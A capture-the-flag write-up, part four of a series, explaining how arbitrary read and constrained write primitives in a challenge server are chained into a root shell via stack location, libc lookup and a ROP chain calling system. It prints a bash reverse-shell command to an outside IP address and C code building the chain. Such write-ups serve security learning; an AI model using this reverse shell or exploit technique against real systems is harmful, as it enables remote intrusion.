T19 Challenge - Part 4

Last time, we managed to empty the virus database, and got the third flag. But that’s not enough. How about trying to get a shell?

Recap

Previously, we managed to obtain an arbitrary read primitive, and a constrained write primitive.

Write

We can overflow dest to overwrite index (offset from db to read from) and copy_buf (target to write to). However, the new value of index must not contain null bytes since it will stop strcpy from copying further to overwrite copy_buf.

int check_hash(char* input, char* buf)
{
  char dest[32];
  int index;
  char* copy_buf;

  init_db();

  index = 0;
  copy_buf = buf;
  strcpy(&dest, input);
  do
  {
    strcpy(copy_buf & 0xFFFFFFFFFFFFFFF0, &db[index]);
    if (!memcmp(&dest, copy_buf, 0x20))
      return 1;
    index += 0x21;
  }
  while (db[index]);
  return 0;
}
Read

Since 1117984489315730401 * 0x21 = 1 for qword multiplication, we can set index = 1117984489315730401 * offset to choose the offset from db to read from. This is better than only being able to read from offsets in multiples of 0x21.

char *get_hash(unsigned long long index)
{
  return &db[0x21 * index];
}

The plan

In order to get a shell, we need a way to control rip. The best way here would be to place a ROP chain in the stack.

The steps we need to take could be summarized below:

1. Locate the stack

We need to locate the stack so that we can overwrite the return address. In addition, we also want the address of the message received from the client, so that we can control what is being written.

2. Overwrite db with a working address

The current location db is pointing to is no good. Because the stack is located at a higher address relative to db, the new value to overwrite index will contain null bytes, and stop strcpy from copying further to overwrite copy_buf.

A random address such as 0x1122334455667788 will be fine, since in this case, the offset for an address in the stack (e.g. 0x7fffffffeab8) would definitely require 8 bytes to represent.

3. Placing a ROP chain in the stack

Once we have all the above done, we are left with writing a ROP chain onto the stack.

Sadly, we cannot use one_gadget here, because remember that we are not using stdin or stdout, but a separate fd to communicate with the server. one_gadget would just spawn a shell to talk with stdin/stdout but that’s useless.

However, we can write a command to somewhere in memory, i.e. spawning a reverse shell with "bash -i >& /dev/tcp/<ip>/8000 0>&1". Then, our ROP chain can call system with the address of that string as its argument.

Exploit

Finding the stack

There exists addresses in the ld section that points to the stack, which we can easily find using gef.

scan

Since these addresses reside below our current stack frame, we can place a distinguishable value in our message (e.g. 0xdeadbeefcafebabe), then read from the stack upwards until we find this value.

From this we can compute the location of our return address to overwrite, as well as the message received from the client to copy from.

Finding libc

Since we will be calling system afterwards, we also need to find the address of libc. For doing this, it is more effective to use the same libc as the challenge server. So I downloaded /lib/x86_64-linux-gnu/libc-2.24.so from the challenge server, and from that time onwards spawn srv_copy with

LD_PRELOAD=./libc-2.24.so ./ld-2.24.so ./srv_copy

scan

Similar to finding the stack, we can utilize the references to libc present in the ld section. For example, we can read the address of malloc then subtract 0x7af10 to obtain the address of the start of libc.

Overwrite db

There is no strong restriction of what to overwrite the address that db points to with, but the most convenient way is to fill up all the 8 bytes, so that the offset of the stack relative to this address would take up 8 bytes.

For example, we set db to now be at 0x19edc3284c8b80b1, so that when trying to copy from our message (at 0x7fffffffe8e0), the index will be 0xe612bcd7b374682f. No null bytes.

Hence, our payload for check_hash would look something like the following

<32 byte padding> | <offset to memory containing new db> - 8 | 0x603108 (location of db)

Recall that the program will keep copying from db[index] until either 32 bytes from dest and copy_buf are the same, or db[index] contains a null byte. Also, there is copy_buf & 0xFFFFFFFFFFFFFFF0 when calling strcpy, so offsets need to be adjusted accordingly.

do
{
  strcpy(copy_buf & 0xFFFFFFFFFFFFFFF0, &db[index]);
  if (!memcmp(&dest, copy_buf, 0x20))
    return 1;
  index += 0x21;
}
while (db[index]);

It is almost certainly impossible to ensure that db[index] contains a null byte after changing the value of db, considering that both index and the new value of db are randomly chosen.

But we still need to stop the loop. We can achieve that by filling the 32 bytes of dest with the 32 bytes that are expected to be in copy_buf, so that memcmp returns 0 and we exit the loop.

With this in place, what we have achieved is the ability to copy data from our sent message into anywhere we want.

Placing the ROP chain

This part should be fairly simple with all the preparations made above.

But first, we got to copy our command into somewhere in memory so that we can call system with it later. We choose to spawn a reverse shell due to the reasons discussed earlier.

bash -c "bash -i >& /dev/tcp/188.166.219.74/8080 0>&1"

One nice place is the original db, since it is not going to be used anywhere anymore, and we have one whole page of memory to work with.

Finally, we can write our ROP chain onto the stack, like the following

pop rdi, ret
original_db
system()

Writing the ROP chain is slightly tricky because there will definitely be null bytes in our gadgets that will prevent strcpy from copying the whole chain at once. There is no way to avoid that, but we can take advantage of the loop in check_hash to keep copying until dest == copy_buf.

We can write the chain part by part, starting from the bottom, something like the following

// includes rbp because location of return address ends with 8
// copy_buf & 0xFFFFFFFFFFFFFFF0 would result in the copying being done
// 8 bytes earlier

int i = 0;
*(unsigned long long*)&s.data[pad + 33 * i] = 0xdeadbeefcafebabe;       // rbp
*(unsigned long long*)&s.data[pad + 8 + 33 * i] = 0xdeadbeefcafebabe;   // ret_addr
*(unsigned long long*)&s.data[pad + 16 + 33 * i] = 0xdeadbeefcafebabe;  // ret_addr + 8
*(unsigned long long*)&s.data[pad + 24 + 33 * i] = system_addr;         // ret_addr + 16

i++;
*(unsigned long long*)&s.data[pad + 33 * i] = 0xdeadbeefcafebabe;
*(unsigned long long*)&s.data[pad + 8 + 33 * i] = 0xdeadbeefcafebabe;
*(unsigned long long*)&s.data[pad + 16 + 33 * i] = 0x00adbeefcafebabe;

i++;
*(unsigned long long*)&s.data[pad + 33 * i] = 0xdeadbeefcafebabe;
*(unsigned long long*)&s.data[pad + 8 + 33 * i] = 0xdeadbeefcafebabe;
*(unsigned long long*)&s.data[pad + 16 + 33 * i] = shell_str;

i++;
*(unsigned long long*)&s.data[pad + 33 * i] = 0xdeadbeefcafebabe;
*(unsigned long long*)&s.data[pad + 8 + 33 * i] = 0x00adbeefcafebabe;

i++;
*(unsigned long long*)&s.data[padding_len + 33 * i] = 0xdeadbeefcafebabe;
*(unsigned long long*)&s.data[padding_len + 8 + 33 * i] = pop_rdi_ret_gadget;
Exploit in action

If nothing goes wrong, we shall get a root shell.

(You might need to watch this in full screen.)

You can find the relevant files here.


If there is anything unclear, feel free to leave a comment below.